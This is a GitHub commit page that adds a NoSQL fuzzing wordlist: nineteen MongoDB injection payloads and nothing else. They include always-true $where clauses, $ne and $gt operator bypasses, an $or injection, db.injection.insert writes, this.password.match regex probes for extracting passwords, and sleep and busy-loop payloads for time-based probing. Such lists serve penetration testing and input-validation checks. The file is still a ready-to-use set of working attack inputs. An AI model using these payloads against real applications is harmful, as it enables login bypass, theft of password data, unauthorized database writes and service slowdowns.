We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent 6e15b1e commit 46de2f6Copy full SHA for 46de2f6
Fuzzing/NoSQL
@@ -0,0 +1,19 @@
1
+true, $where: '1 == 1'
2
+, $where: '1 == 1'
3
+$where: '1 == 1'
4
+', $where: '1 == 1'
5
+1, $where: '1 == 1'
6
+{ $ne: 1 }
7
+', $or: [ {}, { 'a':'a
8
+' } ], $comment:'successful MongoDB injection'
9
+db.injection.insert({success:1});
10
+db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
11
+|| 1==1
12
+' && this.password.match(/.*/)//+%00
13
+' && this.passwordzz.match(/.*/)//+%00
14
+'%20%26%26%20this.password.match(/.*/)//+%00
15
+'%20%26%26%20this.passwordzz.match(/.*/)//+%00
16
+{$gt: ''}
17
+[$ne]=1
18
+';sleep(5000);
19
+';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
0 commit comments